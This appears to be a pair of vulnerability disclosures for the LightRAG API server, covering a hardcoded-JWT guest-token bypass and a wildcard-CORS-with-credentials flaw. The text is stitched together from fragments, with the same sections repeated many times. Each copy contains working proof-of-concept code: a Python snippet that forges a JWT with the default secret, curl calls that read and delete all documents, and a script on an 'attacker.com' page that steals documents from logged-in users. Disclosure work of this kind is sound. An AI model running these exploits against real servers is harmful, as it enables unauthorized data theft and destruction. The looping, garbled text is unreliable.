7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

